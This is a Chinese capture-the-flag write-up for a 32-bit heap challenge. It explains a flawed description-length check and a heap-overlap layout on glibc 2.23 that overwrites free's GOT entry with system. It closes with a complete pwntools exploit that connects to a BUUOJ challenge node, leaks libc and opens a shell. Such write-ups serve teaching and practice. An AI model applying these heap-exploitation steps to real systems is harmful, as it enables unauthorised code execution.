检查程序保护:
拖进IDA看一下,add,show,edit,free
有一个全局的数组,每一个元素是一个地址,执行一个User结构体。
分析一下可以知道User结构体大概是这样子:
struct User
{
char* szUserDescription;
char szUserName[124];
}
add函数:
add函数调用了readDescription函数:
其中存在问题的就位于该函数内,该函数在Update内被会被调用.
add函数内需要注意的一个地方,就是readDescription执行的时候Used已经加1了,传进去的是比Used小1 的数,看一下汇编就知道了:
Used先加一,然后给readDescription传进去的是Used - 1.
然后看一下readDescription,
这里看不太明白的话看一下汇编代码:
重新输入了description的长度,但是长度的限制方法大概是是:
szDescription + lenght < User结构体地址.也就是 描述部分必须位于User之前,而且地址不能超过User(在内存里面)
构造方法:
可以把0 和 2 free 掉,然后重写addUser,使这个User的结构体位于2 处,但是Description部分位于0处,这样就可以写一端很长的数据覆盖掉1,
之后可以搞free_got 为system 就可以getshell了.
操作过程中需要注意的地方:
- glibc2.23没有tcache,User结构体free的时候会被丢到unsorted bin里面.为了防止和top chunk合并,需要在2后面再add一个User
- unsorted bin 是FIFO,先得free 2,再free 0
- 0的描述大小和2的描述大小不能相同
exp:
from pwn import*
#sh = process('./pwn')
sh = remote('node4.buuoj.cn',28540)
def add(name,descriptionSize,payload):
sh.sendlineafter(b'Action: ',b'0')
sh.sendlineafter(b'size of description: ',str(descriptionSize).encode())
sh.sendlineafter(b'name: ',name)
sh.sendlineafter(b'text length: ',str(len(payload)).encode())
sh.sendlineafter(b'text',payload)
def display(idx):
sh.sendlineafter(b'Action: ',b'2')
sh.sendlineafter(b'index: ',str(idx).encode())
sh.recvuntil(b'name: ')
name = sh.recvline()[:-1]
sh.recvuntil(b'description: ')
description = sh.recvline()[:-1]
return (name,description)
def UpdateDescription(idx,payload):
sh.sendlineafter(b'Action: ',b'3')
sh.sendlineafter(b'index: ',str(idx).encode())
sh.sendlineafter(b'text length: ',str(len(payload)).encode())
sh.sendlineafter(b'text: ',payload)
def DelUser(idx):
sh.sendlineafter(b'Action: ',b'1')
sh.sendlineafter(b'index: ',str(idx).encode())
payload = p64(0)
payload += p32(0) + p32(0x89) + p32(0x804B010)
add(b'user1',8,b'a') #0
add(b"/bin/sh\x00",16,b'b') #1
add(b'user3',32,b'c') #2
#防止合并,
add(b"merge",8,b'merge') #3
DelUser(2)
DelUser(0)
add(b"user3",8,b'emmm') #4
#176
payload = b'/bin/sh\x00' + b'\x00' * (8 + 128 + 8 + 16 + 8 ) + p32(0x0804B010) + b'HackedIt'
#gdb.attach(sh)
UpdateDescription(4,payload)
#
libc_base = u32(display(1)[1][0:4]) - 0x0070750
log.success('libc_base: %x\n',libc_base)
system = libc_base + 0x003a940
UpdateDescription(1,p32(system))
#
DelUser(4)
sh.interactive()
成功getshell